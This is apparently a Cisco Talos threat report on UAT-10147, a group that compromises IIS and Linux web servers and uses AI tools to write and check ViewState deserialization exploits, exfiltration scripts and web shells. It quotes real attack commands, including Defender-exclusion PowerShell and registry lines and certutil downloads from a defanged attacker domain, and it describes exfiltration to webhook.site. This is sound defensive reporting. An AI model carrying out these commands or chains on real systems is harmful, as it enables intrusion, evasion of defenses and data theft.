Thursday, August 20, 2026 06:00

• Cisco Talos identified UAT-10147 targeting Windows and Linux web servers globally, impacting organizations in government, education, media, technology, and gaming sectors. The actor leveraged publicly disclosed vulnerabilities to gain initial access at scale. 
• UAT-10147 integrated AI-driven tooling into exploitation, reconnaissance, payload generation, validation, and persistence workflows. Talos observed AI-generated operational playbooks, exploit automation scripts, and troubleshooting logic supporting real-world intrusions. 
• The actor employed a mixture of open-source offensive frameworks, including Metasploit, ysoserial, PentestGPT, DeepAudit, and multiple privilege escalation exploits to automate intrusion operations and establish persistence. 
• Talos assesses that integrating AI-generated exploitation guidance, automation, and validation workflows enables threat actors to scale complex attacks more efficiently while reducing the expertise traditionally required for advanced post-compromise operations.

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In early 2026, Cisco Talos discovered a Chinese-speaking cybercrime group, tracked as UAT-10147, that targets a wide range of vulnerable web servers. The group engages in multiple criminal activities, including search engine optimization (SEO) fraud and data theft.

This blog post provides an overview of the campaign, examining the countries affected and the potential impact of BadIIS infections. It also outlines UAT-10147's attack chain and post-compromise tactics.

Talos assesses with moderate-to-high confidence that UAT-10147 is among an emerging class of financially motivated intrusion operators leveraging agentic AI systems to operationalize offensive tradecraft at scale. Unlike traditional use of generative AI for simple scripting assistance, the actor demonstrated:

• Iterative exploit refinement 
• Adaptive troubleshooting 
• Post-exploitation automation 
• Exploit validation workflows 
• Operational documentation generation

This indicates a transition from AI-assisted scripting toward semi-autonomous offensive orchestration. 

Victimology 

UAT-10147 targeted high-value internet-exposed web servers across multiple regions. Talos’ investigation shows affected servers located in Brazil, Bolivia, China, Canada, and Vietnam. These systems belong to organizations in sectors including government, universities, media, technology, and gaming. 

From the threat actor’s command-and-control (C2) server open directory, we also identified a target list containing approximately 170,000 URLs stored in a text file. The actor appears aware that scanning the entire list at once is inefficient and time consuming. To improve performance, they split the large list into 17 files, each containing about 10,000 URLs. Additionally, the threat actor uses the letter “w” as a reference to the Chinese character “萬,” which represents 10,000.

Figure 2 shows the distribution of the target list across countries based on the IP addresses resolved from the 170,000 URLs. 

UAT-10147 OPSEC failure 

Talos identified this activity after observing a compromised machine communicating with a download server hosted at “139.180.197[.]150”. A review of this IP address revealed an open directory. Below provides a high-level view of this directory listing.

Attack summary  

Talos observed that the threat actor uses multiple methods to gain initial access to a victim’s network. After successfully achieving remote code execution (RCE) on a website or otherwise gaining access to the server, the actor typically runs an automated script to install and deploy malware for SEO fraud or data stealing. In some cases, the attacker instead installs a web shell, which allows them to manually set up the BadIIS malware and establish persistence through additional backdoor deployment.

Windows platform infection chain 

The attack uses multiple Windows batch scripts to carry out its objectives. Although some versions of the scripts contain minor variations, these differences do not affect the overall purpose. The following section highlights the primary batch files observed during the attack. 

The main script is executed after the threat actor obtains RCE or establishes an implant on the victim’s web server. It is commonly named “back.txt” or “back.bat”. This code represents a multi-stage malware deployment script that utilizes certutil to download a privilege escalation tool (EfsPotato, renamed as “prcc1.rar”), a secondary batch script (“bai.bat”), and the QuasarRAT payload (disguised as “svchosts.exe”). Using the EfsPotato tool to gain elevated system privileges, the script modifies the Windows Registry and uses PowerShell to add specific directories to the Windows Defender exclusion list, effectively hiding the malware from antivirus scans. Finally, the script attempts to delete its initial staging files and scripts to cover its tracks and hinder forensic analysis. Notably, during our research, we observed the threat actor deploying other implants in similar campaigns, including Gh0stCringe and SPECTRE. Please see this accompanying blog post on Talos' research into UAT-10147's use of the SPECTRE implant.

The secondary batch script then silently executes the backdoor and establishes persistence by creating deceptive scheduled tasks named "Google Chrome Start" that run the malware with the highest privileges every time a user logs on.

To deploy the BadIIS malware on the target machine, UAT-10147 would likely perform the following activities: 

1. The threat actor utilizes a privilege escalation tool to add standard IIS directories (“System32\inetsrv” and “SysWOW64\inetsrv”) to the Windows Defender exclusion list via PowerShell and Registry modifications. This defense evasion tactic effectively blinds the antivirus to the directories where the malicious IIS modules will be dropped.

prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\SysWOW64\inetsrv 
prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\System32\inetsrv 
prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\SysWOW64\inetsrv" /t REG_DWORD /d 0 /f	 
prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\System32\inetsrv" /t REG_DWORD /d 0 /f

2. They use certutil to download the achieved BadIIS (“dll.zip”) and a third execution script (“user.bat”) from a remote server.

certutil -url"cache -split -f https[:]//adminapi.tippusoni[.]in/4/dll.zip C:\ProgramData\dll.zip	 
certutil -url"cache -split -f https[:]//adminapi.tippusoni[.]in/4/user.txt C:\ProgramData\user.bat

3. The threat actor then conducts local reconnaissance by executing the IIS management tool appcmd to enumerate the server's website configurations, likely to identify injection targets for the BadIIS module.

prcc1.rar cmd.exe /C C:\Windows\system32\inetsrv\appcmd list site /config /xml

4. Finally, the attacker executes user.bat with elevated privileges to create a rogue local user account adding it to both the local Administrators and Remote Desktop Users groups to guarantee persistent, highly privileged Remote Desktop Protocol access to the compromised machine.

Linux platform infection chain

The attack begins with the threat actor sending a RCE payload to a vulnerable server to gain an initial foothold. Following successful exploitation, a web shell is deployed on the compromised Linux server, providing the attacker with persistent and interactive command execution capabilities. Leveraging this access, the threat actor proceeds to escalate privileges using a broad arsenal of known Local Privilege Escalation (LPE) exploits. Below are the exploits UAT-10147 used.  

1. CVE-2022-0995 targets a flaw in the Linux kernel's watch_queue event notification mechanism, allowing an unprivileged user to write arbitrary data out-of-bounds and achieve privilege escalation.  
2. CVE-2021-3156, known as "Baron Samedit," is a heap-based buffer overflow vulnerability in the Unix sudo utility that allows any local user — even those not listed in the sudoers file — to gain root privileges without authentication.  
3. CVE-2015-5287 exploits a vulnerability in the ABRT (Automatic Bug Reporting Tool) sosreport functionality, where improper handling of symbolic links can be abused by a local attacker to escalate privileges.  
4. CVE-2015-3246 abuses a flaw in libuser's roothelper component, where improper file handling allows a local attacker to corrupt the “/etc/passwd” file and gain root-level access.  
5. CVE-2010-3904, one of the older vulnerabilities in the chain, exploits a flaw in the Linux kernel's Reliable Datagram Sockets (RDS) protocol implementation, specifically in the rds_page_copy_user function, allowing a local unprivileged user to write to arbitrary kernel memory addresses and escalate privileges to root.  
6. CVE-2022-0847, widely known as "Dirty Pipe," is a high-severity Linux kernel vulnerability that allows unprivileged users to overwrite data in read-only files by exploiting a flaw in the way pipe buffers are handled, effectively enabling privilege escalation or arbitrary file modification.  

Once root-level access is achieved, the attacker deploys multiple implants such as NoodleRAT, SPECTRE, and Meterpreter which establish outbound connections to remote command and control infrastructure.

Post-compromise strategy  

Talos observed the adversary employing a two-pronged attack strategy to compromise target environments, including exploitation of known one-day vulnerabilities and using AI tool-assisted reconnaissance and payload generation. 

Known one-day vulnerabilities 

The threat actor heavily relies on publicly disclosed vulnerabilities to achieve RCE across both Windows and Linux web servers. To weaponize these flaws, the threat actor utilizes the Metasploit Framework to construct targeted exploits and deploy Meterpreter backdoors. Specific vulnerabilities exploited in this campaign include CVE-2022-27925, an unauthenticated RCE in the Zimbra Collaboration Suite and CVE-2021-23758, an AjaxPro deserialization RCE. 

We also observed the threat actor weaponizing CVE-2021-29441 and CVE-2021-29442, an arbitrary code execution vulnerability within the Nacos framework. The exploit leverages the ScriptEngineFactory Service Provider Interface to execute malicious instructions. Upon class loading, the payload invokes Runtime.exec() to spawn an OS-level shell, dynamically adapting to the victim's environment by executing /bin/bash on Linux or falling back to cmd.exe on Windows. Once the shell is established, the payload utilizes curl to exfiltrate basic system telemetry. It POSTs the output of id and hostname (on Linux) or %USERNAME% and %COMPUTERNAME% (on Windows) directly to an attacker-controlled Nacos configuration server. By routing exfiltrated data to a legitimate cloud-based configuration management service, the attackers effectively blend their traffic with normal administrative operations. This infrastructure choice acts as an asynchronous exfiltration sink, allowing the adversaries to poll their own Nacos instance to verify successful exploitation across victims without the operational overhead or detection risk of establishing a persistent reverse shell or maintaining direct inbound connections.

Talos also captured the exploitation of CVE-2019-18935, a well-known .NET JSON deserialization vulnerability affecting Telerik UI for ASP.NET AJAX. The threat actor actively probes the environment to verify the presence of the Telerik file upload handler and fingerprint the software version. Once a vulnerable instance is confirmed, the threat actors deploy a customized, weaponized proof-of-concept to achieve arbitrary file upload and subsequent RCE. During the post-exploitation phase, the threat actor drops compiled reverse shell payloads to disk. We observed these malicious DLLs utilizing a distinct, randomized naming convention, specifically formatted as: [10 digits].[7 digits].dll.

AI-driven offensive tool assistance  

In their second strategy, UAT-10147 leverages a suite of advanced, AI-driven offensive tools. Specifically, they utilize DeepAudit for source code vulnerability scanning. While we have not directly observed the actor exploiting vulnerabilities discovered by DeepAudit in victim environments, we did observe the framework installed on their management server. Consequently, we assess with high confidence that they intend to use it to identify vulnerabilities within target website source code or third-party package libraries. It is also highly plausible that the threat actors are also leveraging DeepAudit for defensive purposes — such as proactively auditing their own infrastructure, custom tooling, or management servers to prevent exposure and compromise by rival actors or security researchers.

Furthermore, Talos observed the threat actor installing the PentestGPT framework on their C2 server and using it to dynamically scan web servers and execute relevant proof-of-concept exploits. The threat actor successfully exploited a website and gathered information about the victim machine using Linux commands.

Additionally, UAT-10147 is leveraging AI-driven tools to build end-to-end offensive workflows. By utilizing the ysoserial framework, these tools generate custom malicious payloads designed to exploit unsafe Java object deserialization vulnerabilities. The AI tool not only creates a well-documented README instructing the attacker on how to use ysoserial to infiltrate the target server, but it also generates three companion Python scripts. These scripts enable the threat actor to easily verify writable paths and permissions, deploy an implant via a ViewState RCE, and drop a web shell onto the compromised machine using the same ViewState deserialization flaw. Furthermore, UAT-10147 employs AI tools to conduct quality assurance testing on the ViewState RCE, effectively using the AI to validate that the exploit functions correctly against the target. 

An ASP.NET ViewState deserialization RCE guide created by AI  

The opening section outlines the threat actor’s required prerequisites: specifically, the ValidationKey, DecryptionKey, their respective algorithms (SHA1, AES, and 3DES), the target page's __VIEWSTATEGENERATOR value, and the destination URL. The threat actor noted these values are typically obtained via the open-source tool badsecrets, which maintains a database of publicly known or leaked ASP.NET MachineKey configurations. This first step illustrates that the threat actor’s success is entirely dependent on key material exposure making MachineKey confidentiality the most critical defensive control.

Before committing to full exploitation, the attacker documented a low-noise technique to verify whether a stolen MachineKey is valid against a live target. By submitting a deliberately malformed ViewState payload, they distinguish between two distinct HTTP 500 error messages: 

• MAC Validation Failure: Indicates an incorrect validation key was used, preventing deserialization. 
• InvalidCastException: Confirms the validation key is correct and that the payload was successfully deserialized by the server. 

This error message allows the attacker to silently confirm key validity without triggering meaningful command execution.

This section details the threat actor's use of “ysoserial.exe”, a well-known .NET deserialization payload generation toolkit, configured specifically for the ViewState attack surface. The guide documents the TypeConfuseDelegate gadget chain as the preferred choice, noting it leverages Process.Start() for command execution and remains fully functional on .NET 4.8. Importantly, the attacker explicitly corrects a common misconception: Contrary to claims in several public articles, .NET 4.8 does not patch these gadget chains.

The fourth section provides a Python automation script that integrates ysoserial.exe invocation and HTTP POST submission into a single workflow. The script targets the __VIEWSTATE parameter with the generated payload, mirrors the __VIEWSTATEGENERATOR value in both the POST body and the generation arguments (a critical alignment requirement), and intentionally suppresses redirects. The threat actor also documents a response-code interpretation table. Notably, an HTTP 500 with InvalidCastException is the expected success indicator, not a failure. This inverted success condition is a defensive blind spot: network monitoring tools that alert on 5xx responses may generate excessive noise, while the actual exploit succeeds silently in the error stream.

The fifth section in the guide documents a critical lesson the threat actor learned through trial and error: Time-based blind testing (e.g., ping -n 10 or timeout /t 10) is entirely ineffective for confirming ViewState RCE. Because Process.Start() is asynchronous and returns immediately, no execution delay is observable from the HTTP response. The attacker pivoted to out-of-band (OOB) HTTP callbacks using certutil, PowerShell + curl, and DNS nslookup to confirm execution.

Following RCE confirmation, the guide documents a systematic reconnaissance playbook executed entirely via PowerShell encoded commands, a well-known AMSI and logging evasion technique. The attacker collects system information, privilege tokens, web directory listings, IIS site configurations, network interface data, and running processes and all exfiltrated via HTTP POST to a remote web hook. 

With reconnaissance data, the AI documented three escalating methods for establishing persistent interactive access. The preferred path is direct deployment of a custom implant, referred to internally as "SPECTRE," via certutil download. As fallbacks, the guide covers writing an ASHX web shell to the IIS webroot, with a note on handling AppPool write permission restrictions, and a PowerShell TCP reverse shell.

The final exploitation step documented is privilege escalation from IIS AppPool identity to SYSTEM. The guide identifies SeImpersonatePrivilege, a token privilege routinely granted to IIS worker processes, as the escalation vector, and lists the "Potato" family of exploits as compatible tools. The AI also references a built-in capability within their SPECTRE implant to perform this escalation automatically.

This ninth section represents the most significant finding in the recovered artifact: a detailed record of an active intrusion against a real target. The document logs specific infrastructure details including target hostnames, backend and frontend IP addresses, the exploited page path, .NET runtime version, and the MachineKey values used. Of particular note is the observation that a MachineKey is scoped to the IIS site level, meaning keys extracted from one virtual host cannot be applied to co-hosted sites.

Check paths script created by AI 

The first Python script (“check_paths.py”) was recovered from the threat actor infrastructure and represents a post-exploitation diagnostic step. It has five sequential OOB callback tests to a “webhook.site” exfiltration endpoint: 

1. Confirm baseline write capability (“c:\windows\temp”) that validates RCE is functional 
2. Exfiltrate the ACL of the target webroot (icacls) that checks if IUSR/IIS_IUSRS can write 
3. Attempt direct file write to the webroot, capturing the exact exception if it fails 
4. Query IIS physical paths via “appcmd.exe” list vdir that discovers actual virtual directory mappings 
5. Probe multiple candidate webroot subdirectories for both existence and write access 

After firing all probes, the script polls the webhook.site API directly to harvest all callback results in-session.

Deploy implant script created by AI 

The second Python script (“deploy_implant.py”) handles the execution phase. Leveraging the same ViewState deserialization primitive, this script downloads and launches the SPECTRE binary implant. The implant is hosted on the attacker's C2 infrastructure and is initially retrieved by the victim's machine using certutil. Following a six-second sleep period, the script executes a PowerShell probe utilizing Test-Path and Get-Item.Length to verify the deployment, reporting the results back via the established webhook.site exfiltration channel. Should the certutil download fail, the script features a built-in fallback mechanism, automatically retrying the download using New-Object Net.WebClient.

Deploy shell script created by AI 

The third Python script (“deploy_shell.py”) establishes persistent access within the attack chain. Its objective is to deploy a durable ASHX web shell (“sss.ashx”) onto the compromised IIS server utilizing the same ViewState deserialization primitive seen in the previous scripts. Because the deserialization vulnerability only permits command execution rather than direct file uploads, the script circumvents this limitation using a two-step approach. First, it uses PowerShell to write a temporary file upload handler (“up.ashx”) to disk. Second, it leverages this newly created handler as an HTTP relay to upload and place the final web shell (“sss.ashx”). 

The first step involves deploying a minimal, eight-line C# ASHX handler to the target server. To accomplish this, the script Base64-encodes the handler's source code and subsequently leverages the PowerShell [IO.File]::WriteAllBytes method to decode and write the file directly into the webroot.

The second step is to verify “up.ashx” is reachable.

The third step involves uploading the final web shell via the previously established upload handler. The script initially attempts to source the web shell from a hardcoded local path on the attacker's machine: “C:\Users\dajiba\Desktop\phantom-v2\data\arsenal\webshells\sss.ashx”. If this local file is unavailable, it employs a fallback mechanism, downloading “sss.ashx” from a secondary staging server located at “139.180.197[.]150:54321”. Finally, the web shell is transmitted to “up.ashx” via an HTTP POST request, utilizing an explicit destination path parameter to deploy it across both virtual host webroots. Analysis of the remote machine revealed the username “dajiba.” This string is the pinyin romanization for the Chinese term “大雞巴.”

The final step confirms that the web shell is live by fetching it and verifying that the HTTP response size exceeds 100 bytes. Once validated, the script immediately initiates a live execution test by sending the following payload: {'a': 'Execute', 'cmd': 'whoami', 'p': 'dir'}. 

Exfiltration script created by AI 

The fourth python script (“exfil.py”) blends exfiltration traffic with legitimate software-as-a-service (SaaS) traffic over HTTPS to a webhook.site endpoint. The exfiltration have three stages and each stage command is encoded as UTF-16-LE Base64 and passed to powershell -nop -enc. Below are three distinct reconnaissance payloads fired sequentially: 

1. Webroot enumeration: dir C:\inetpub\wwwroot\ -Name reveals deployed applications and potential secondary attack surfaces. 
2. IIS site inventory: appcmd.exe list site exposes the full virtual hosting topology, binding configurations, and additional host names running on the same box for preparation of the next stage BadIIS installation.  
3. Privilege assessment: whoami /priv determines whether the IIS worker process runs under a high-privilege account (e.g., NETWORK SERVICE with SeImpersonatePrivilege), the standard prerequisite for a token impersonation or Potato-family privilege escalation.

Findings log created by AI 

Talos analyzed a findings log that documents confirmed RCE via ASP.NET ViewState deserialization on a target IIS server. Using a webhook.site listener, the threat actor received more than 12 HTTP callbacks. These callbacks not only confirmed the successful execution of four distinct ysoserial gadget chains on .NET 4.8.4797.0, but they also exfiltrated valuable reconnaissance data. The exfiltrated telemetry revealed the host name and user identity, that the webroot contained 13 site directories, and recorded an access denial when attempting to read “redirection.config”. In addition, the data also confirmed that SeImpersonatePrivilege was enabled, highlighting a viable path for Potato-family privilege escalation.

Coverage 

The following ClamAV signatures detect and block this threat: 

• Py.Loader.Tool-10060293-1 
• Py.Loader.Tool-10060293-2 
• Win.Malware.Generic-10060228-0 
• Win.Loader.Downloader-10060287-1

The following SNORT® rules (SIDs) detect and block this threat:  

• Snort2: 1:66697, 1:66696 
• Snort3: 1:66697, 1:66696

IOCs can also be found in our GitHub repository here.